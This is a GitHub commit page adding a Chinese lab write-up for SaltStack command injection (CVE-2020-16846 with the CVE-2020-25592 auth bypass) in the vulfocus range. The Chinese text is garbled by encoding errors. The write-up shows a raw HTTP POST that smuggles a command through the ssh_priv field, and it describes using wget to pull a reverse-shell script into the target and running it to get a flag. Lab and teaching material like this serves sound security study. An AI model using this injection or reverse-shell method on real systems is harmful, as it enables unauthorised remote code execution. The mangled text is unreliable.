forked from fofapro/vulfocus
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
fdeec29
commit c3c3e02
Showing
69 changed files
with
129 additions
and
0 deletions.
There are no files selected for viewing
129 changes: 129 additions & 0 deletions
129
SaltStack_่ฟ็จๅฝไปคๆง่กๆผๆด_FlyYoung729/CVE-2020-16846.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,129 @@ | ||
# SaltStack ่ฟ็จๅฝไปคๆง่กๆผๆด๏ผCVE-2020-16846๏ผby [FlyYoung729](https://github.com/FlyYoung729) | ||
|
||
## ไธใๆผๆด่ฏฆๆ | ||
SaltStackๆฏไธไธชๅๅธๅผ่ฟ็ปด็ณป็ป๏ผๅจไบ่็ฝๅบๆฏไธญ่ขซๅนฟๆณๅบ็จ๏ผๆไปฅไธไธคไธชไธป่ฆๅ่ฝ๏ผ | ||
1ใ้ ็ฝฎ็ฎก็็ณป็ป๏ผ่ฝๅคๅฐ่ฟ็จ่็น็ปดๆคๅจไธไธช้ขๅฎไน็็ถๆ๏ผไพๅฆ๏ผ็กฎไฟๅฎ่ฃ ็นๅฎ็่ฝฏไปถๅ ๅนถ่ฟ่ก็นๅฎ็ๆๅก๏ผ | ||
2ใๅๅธๅผ่ฟ็จๆง่ก็ณป็ป๏ผ็จไบๅจ่ฟ็จ่็นไธๅ็ฌๆ้่ฟไปปๆ้ๆฉๆ ๅๆฅๆง่กๅฝไปคๅๆฅ่ฏขๆฐๆฎ | ||
|
||
CVE-2020-16846: ๅฝไปคๆณจๅ ฅๆผๆด | ||
ๆช็ป่ฟ่บซไปฝ้ช่ฏ็ๆปๅป่ ้่ฟๅ้็นๅถ่ฏทๆฑๅ ๏ผๅฏ้่ฟSalt APIๆณจๅ ฅssh่ฟๆฅๅฝไปคๅฏผ่ดๅฝไปคๆง่กใ | ||
|
||
CVE-2020-25592: ้ช่ฏ็ป่ฟๆผๆด | ||
Salt ๅจ้ช่ฏeauthๅญๆฎๅ่ฎฟ้ฎๆงๅถๅ่กจACLๆถๅญๅจไธๅค้ช่ฏ็ป่ฟๆผๆดใๆช็ป่ฟ่บซไปฝ้ช่ฏ็่ฟ็จๆปๅป่ ้่ฟๅ้็นๅถ็่ฏทๆฑๅ ๏ผๅฏไปฅ้่ฟsalt-api็ป่ฟ่บซไปฝ้ช่ฏ๏ผๅนถไฝฟ็จsalt ssh่ฟๆฅ็ฎๆ ๆๅกๅจใ็ปๅCVE-2020-16846่ฝ้ ๆๅฝไปคๆง่กใ | ||
|
||
## ไบใๆผๆด็ฏๅข | ||
่ฏฅๆผๆด็ฏๅขๅทฒๆดๅๅฐvulfocus้ถๅบไธญ๏ผๅฏไธ้ฎ็ดๆฅๅฏๅจใ | ||
ๆญฅ้ชค๏ผ | ||
1ใๆ็ดขCVE-2020-16846๏ผ็นๅปๅฏๅจ๏ผ้ ๅCVE-2020-25592้ช่ฏ็ป่ฟๆผๆด่ฟ่กๅฝไปคๆง่ก๏ผ | ||
 | ||
2ใ่ฎฟ้ฎhttps://ip:port๏ผ็ๅฐ่ฏฅ้กต้ขๅ่ฏๆ้ถๅบๅฏๅจๆๅ | ||
 | ||
|
||
ไนๅๆ ทๅฏไปฅๅจdockerhubไปๅบไธญๆ็ดขvulfocus/saltstackๆพๅฐๆไปฌไธไผ ็้ๅ | ||
https://hub.docker.com/r/vulfocus/saltstack-cve_2020_16846 | ||
 | ||
1ใๅฐ้ๅไธ่ฝฝๅฐๆฌๅฐ็ฏๅข | ||
`docker pull vulfocus/saltstack-cve_2020_16846:latest` | ||
2ใๅฏๅจ้ๅ | ||
`docker run -d -p 22:22 -p 4505:4505 -p 4506:4506 -p 8000:8000 vulfocus/saltstack-cve_2020_16846:latest` | ||
3ใ่ฎฟ้ฎhttps://ip:8000 | ||
|
||
## ไธใๆผๆดๅค็ฐ | ||
้่ฟๅๆๅๆ้ poc | ||
``` | ||
POST /run HTTP/1.1 | ||
Host: ip:port | ||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0 | ||
Accept: application/x-yaml | ||
Accept-Language: en-US,en;q=0.5 | ||
Accept-Encoding: gzip, deflate | ||
DNT: 1 | ||
Connection: close | ||
Upgrade-Insecure-Requests: 1 | ||
Content-Type: application/x-www-form-urlencoded | ||
Content-Length: 89 | ||
token=123123&client=ssh&tgt=*&fun=a&roster=flyoung&ssh_priv=aaa|payload | ||
``` | ||
|
||
dnslogๆๅๅๆพ | ||
 | ||
ๆณจๆ๏ผ | ||
1ใๆผๆฅๅฝไปคไธญไธ่ฝๅซๆ็ฉบๆ ผ๏ผ้่ฆๅฐ็ฉบๆ ผๆฟๆขไธบ%20๏ผๅฝไปคๆๅ้่ฆไปฅๅๅท็ปๆ๏ผๅณ%3b | ||
2ใๅๆพๅฏไปฅไฝฟ็จwgetๆcurlๅฝไปค๏ผpingๅฝไปคๆง่กไธๆๅ | ||
|
||
ๅจๆๅกๅจไธๆฐๅปบไธไธช่ๆฌ๏ผๅ ๅฎนไธบๅๅผนshell่ฏญๅฅใ | ||
 | ||
|
||
ไฝฟ็จwgetไธ่ฝฝๅฐ็ฎๆ ้ถๅบไธญ | ||
 | ||
|
||
่ๆฌๆๅไธ่ฝฝ | ||
 | ||
|
||
ๆง่ก่ๆฌ | ||
 | ||
ๆณจๆ๏ผ | ||
่ๆฌๆง่ก้่ฆ็จ/bin/bashๅฝไปคๆง่ก๏ผๅฆๆไฝฟ็จshๅฝไปคๅ้่ฆๅฐaaaไฟฎๆนไธบ/๏ผๅ ไธบcmdๆไปถ้ฝไธ่ฝฝๅจๆ น็ฎๅฝ๏ผaaaๅ ถๅฎไธบ่ทฏๅพ | ||
|
||
ๆๅๅๅผนๅนถๆฟๅฐflag | ||
 | ||
|
||
ๆ น็ฎๅฝไธๅฐฑไผๅคไบไธไบssh_privๅผ็ๆไปถ/ๆไปถๅคน | ||
 | ||
|
||
2.5ๅgetๅฐๆ | ||
 | ||
|
||
## ๅใๆผๆดๅๆ | ||
|
||
**CVE-2020-16846** | ||
salt/client/ssh/shell.py | ||
ไฝฟ็จssh-keygenๅฝไปค็ๆssh็ๅฏ้ฅ๏ผpathๅ้็ดๆฅไฝฟ็จformatๆพๅ ฅcmdไธญ๏ผไฝฟ็จsubprocess.callๆนๆณๆง่ก๏ผ่ฏฅๆนๆณไผ้ป่ฎคๅฐๅ่กจ็ฌฌไธไธช้กนไฝไธบๅฝไปค๏ผๅ็ปญไฝไธบๅฝไปคๅๆฐๆง่กใ้ ็ฝฎไบshell=Trueๅๆฐไผ็ดๆฅๅฐๆดไธชๅญ็ฌฆไธฒ็จshell่งฃ้๏ผ็ธๅฝไบๅๆ ท็่ฏญๅฅๆพๅจ็ป็ซฏไธญ่ฟ่กใ่ฏฅๆผๆดไฟฎๅคไนๅshell้ป่ฎคไธบfalseใpathๅๆฐๅฏๆงๅณๅฏ้ ๆๅฝไปคๆง่กใ | ||
 | ||
|
||
ๆผๆด็ๆฌไธไฟฎๅค็ๆฌๆไปถๅฏนๆฏ | ||
 | ||
|
||
**CVE-2020-25592** | ||
ๅ ฅๅฃๅๆ | ||
SaltStackๅฉ็จcherrypyๅtornadoไธคไธชๆกๆถๅฎ็ฐไบapiใ | ||
salt/netapi/rest_cherrypy/app.py | ||
cherrypy้ ็ฝฎ | ||
 | ||
|
||
LowDataAdapter็ฑป่ฐ็จไบsalt.netapi.NetapiClient็ฑปใ | ||
 | ||
 | ||
|
||
่ท่ฟret = self.api.run(chunk)ไธญ็runๅฝๆฐ | ||
 | ||
|
||
lowไธบๅค้จไผ ๅ ฅ็ๅๆฐ๏ผsalt.utils.args.format_callๆนๆณๅฐๅๆฐ่ตๅผ็ปkwargsใ | ||
ๅฝๆปๅป่ ๅฐclientๅๆฐๅผ่ฎพไธบ"ssh"ๆถ๏ผไผ็ดๆฅ่ฐ็จsalt/netapi/init.pyไธญ็NetapiClient.ssh()ใ | ||
 | ||
|
||
salt.client.ssh.client.SSHClient๏ผๅๅงๅๅฝๆฐๆฒกๆssh็ธๅ ณ็ฑป่ฐ็จ๏ผ็ปง็ปญ่ท่ฟcmd_sync()ๅฝๆฐใ | ||
salt/client/ssh/client.py | ||
 | ||
|
||
salt/client/ssh/client.py | ||
 | ||
 | ||
|
||
salt/client/ssh/init.py | ||
 | ||
|
||
## ไบใGolang-PoC | ||
ๆไบคๅฉ็จgoby็ผๅ็pocๅexp๏ผๅฎกๆ ธ้่ฟๅๅฐฑ่ฝ่ทๅๅฐGoEXP่ฎกๅ็ไธๅฑๅฅ้๏ผ่ฟๅฏไปฅ้ๆๅฐ่ชๅทฑ็gobyไธญๆต่ฏ | ||
|
||
่ฟ่กๅๆๅ่ฎฟ้ฎๆๅกๅจ81็ซฏๅฃ | ||
 | ||
|
||
## ๅ่้พๆฅ๏ผ | ||
|
||
https://paper.seebug.org/1398/ | ||
|
||
https://www.windylh.com/2020/11/18/SaltStack%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(CVE-2020-16846)%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%86%E6%9E%90/ | ||
|
||
|
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Empty file.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Oops, something went wrong.
Empty file modified
0
writeup/Shiro_RememberMe_1.2.4_ๅๅบๅๅ/Shiro_RememberMe1.2.4ๅๅบๅๅ.md
100755 โ 100644
Empty file.
Empty file.